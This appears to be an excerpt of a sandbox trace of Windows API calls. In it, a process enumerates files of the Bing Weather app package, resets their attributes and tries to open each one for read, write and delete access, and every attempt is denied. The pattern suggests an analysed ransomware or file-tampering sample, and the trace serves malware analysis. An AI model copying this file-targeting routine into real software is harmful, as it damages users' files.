	[0090.614] wcscpy (in: _Dest=0x4778660, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font"
	[0090.614] wcscat (in: _Dest=0x4778660, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\"
	[0090.614] wcscat (in: _Dest=0x4778660, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\*"
	[0090.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ff09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.614] wcscmp (_String1=".", _String2=".") returned 0
	[0090.614] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ff09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.614] wcscmp (_String1="..", _String2=".") returned 1
	[0090.614] wcscmp (_String1="..", _String2="..") returned 0
	[0090.614] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd75732, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xce9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNMDL2.ttf", cAlternateFileName="")) returned 1
	[0090.614] wcscmp (_String1="MSNMDL2.ttf", _String2=".") returned 1
	[0090.614] wcscmp (_String1="MSNMDL2.ttf", _String2="..") returned 1
	[0090.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4716d10
	[0090.614] wcscpy (in: _Dest=0x4716d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font"
	[0090.614] wcscat (in: _Dest=0x4716d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\"
	[0090.614] wcscat (in: _Dest=0x4716d10, _Source="MSNMDL2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf"
	[0090.614] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\msnmdl2.ttf")) returned 0x20
	[0090.615] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.615] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\msnmdl2.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.615] GetLastError () returned 0x5
	[0090.615] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0090.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716d10) returned 1
	[0090.615] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd75732, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd75732, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10590, dwReserved0=0x0, dwReserved1=0x0, cFileName="WeatherColorIcons.ttf", cAlternateFileName="")) returned 1
	[0090.616] wcscmp (_String1="WeatherColorIcons.ttf", _String2=".") returned 1
	[0090.616] wcscmp (_String1="WeatherColorIcons.ttf", _String2="..") returned 1
	[0090.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d5b2a8
	[0090.616] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font"
	[0090.616] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\"
	[0090.616] wcscat (in: _Dest=0x2d5b2a8, _Source="WeatherColorIcons.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf"
	[0090.616] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\weathercoloricons.ttf")) returned 0x20
	[0090.617] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf", dwFileAttributes=0x20) returned 0
	[0090.617] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\weathercoloricons.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.617] GetLastError () returned 0x5
	[0090.617] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf", dwFileAttributes=0x20) returned 0
	[0090.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.617] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd75732, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd75732, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10590, dwReserved0=0x0, dwReserved1=0x0, cFileName="WeatherColorIcons.ttf", cAlternateFileName="")) returned 0
	[0090.617] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778660) returned 1
	[0090.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b458) returned 1
	[0090.617] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ff09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0090.617] FindClose (in: hFindFile=0x477a968 | out: hFindFile=0x477a968) returned 1
	[0090.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0090.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d358) returned 1
	[0090.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e618) returned 1
	[0090.617] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7f48f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0090.617] FindClose (in: hFindFile=0x477a868 | out: hFindFile=0x477a868) returned 1
	[0090.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aa00) returned 1
	[0090.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32e20) returned 1
	[0090.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773470) returned 1
	[0090.618] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x2df73b8 | out: lpFindFileData=0x2df73b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7e777, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0090.618] FindClose (in: hFindFile=0x46a8418 | out: hFindFile=0x46a8418) returned 1
	[0090.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df73b8) returned 1
	[0090.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a6028) returned 1
	[0090.618] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e8e80) returned 1

Thread:
	id = 966
	os_tid = 0x9b4

	[0082.407] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.weather.tile.winmd")) returned 0x20
	[0082.407] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd", dwFileAttributes=0x20) returned 0
	[0082.407] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.weather.tile.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.407] GetLastError () returned 0x5
	[0082.407] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Weather.Tile.winmd", dwFileAttributes=0x20) returned 0
	[0082.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec248) returned 1

Thread:
	id = 967
	os_tid = 0xe90

	[0082.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3b480
	[0082.408] wcscpy (in: _Dest=0x2e3b480, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.408] wcscat (in: _Dest=0x2e3b480, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.408] wcscat (in: _Dest=0x2e3b480, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df8bc8
	[0082.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x2df8bc8 | out: lpFindFileData=0x2df8bc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x2d31f11, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x2d31f11, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8458
	[0082.409] wcscmp (_String1=".", _String2=".") returned 0
	[0082.409] FindNextFileW (in: hFindFile=0x46a8458, lpFindFileData=0x2df8bc8 | out: lpFindFileData=0x2df8bc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x2d31f11, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x2d31f11, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.409] wcscmp (_String1="..", _String2=".") returned 1
	[0082.409] wcscmp (_String1="..", _String2="..") returned 0
	[0082.409] FindNextFileW (in: hFindFile=0x46a8458, lpFindFileData=0x2df8bc8 | out: lpFindFileData=0x2df8bc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd70a74ca, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd70a74ca, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd718c32d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11c70, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.dba79ab6.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1
	[0082.409] wcscmp (_String1="resources.dba79ab6.pri", _String2=".") returned 1
	[0082.409] wcscmp (_String1="resources.dba79ab6.pri", _String2="..") returned 1
	[0082.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x4771d08
	[0082.409] wcscpy (in: _Dest=0x4771d08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.409] wcscat (in: _Dest=0x4771d08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.409] wcscat (in: _Dest=0x4771d08, _Source="resources.dba79ab6.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.dba79ab6.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.dba79ab6.pri"
	[0090.611] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.dba79ab6.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\resources.dba79ab6.pri")) 

Thread:
	id = 968
	os_tid = 0x724

	[0082.410] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoftadvertising.ini")) returned 0x20
	[0082.411] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", dwFileAttributes=0x20) returned 0
	[0082.411] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoftadvertising.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.411] GetLastError () returned 0x5
	[0082.411] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", dwFileAttributes=0x20) returned 0
	[0082.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f530) returned 1

Thread:
	id = 969
	os_tid = 0x5b8

	[0082.412] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0082.413] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.413] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.413] GetLastError () returned 0x5
	[0082.413] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770f78) returned 1

Thread:
	id = 970
	os_tid = 0xa10

	[0082.414] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\sqlitewrapper.winmd")) returned 0x20
	[0082.415] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd", dwFileAttributes=0x20) returned 0
	[0082.415] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\sqlitewrapper.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.415] GetLastError () returned 0x5
	[0082.416] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\SQLiteWrapper.winmd", dwFileAttributes=0x20) returned 0
	[0082.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e8f50) returned 1

Thread:
	id = 971
	os_tid = 0x1220

	[0082.417] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\storeratingpromotion.winmd")) returned 0x20
	[0082.417] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd", dwFileAttributes=0x20) returned 0
	[0082.417] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\storeratingpromotion.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.417] GetLastError () returned 0x5
	[0082.417] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd", dwFileAttributes=0x20) returned 0
	[0082.417] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e810) returned 1

Thread:
	id = 972
	os_tid = 0x1514

	[0082.418] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x47cb288
	[0082.418] wcscpy (in: _Dest=0x47cb288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources"
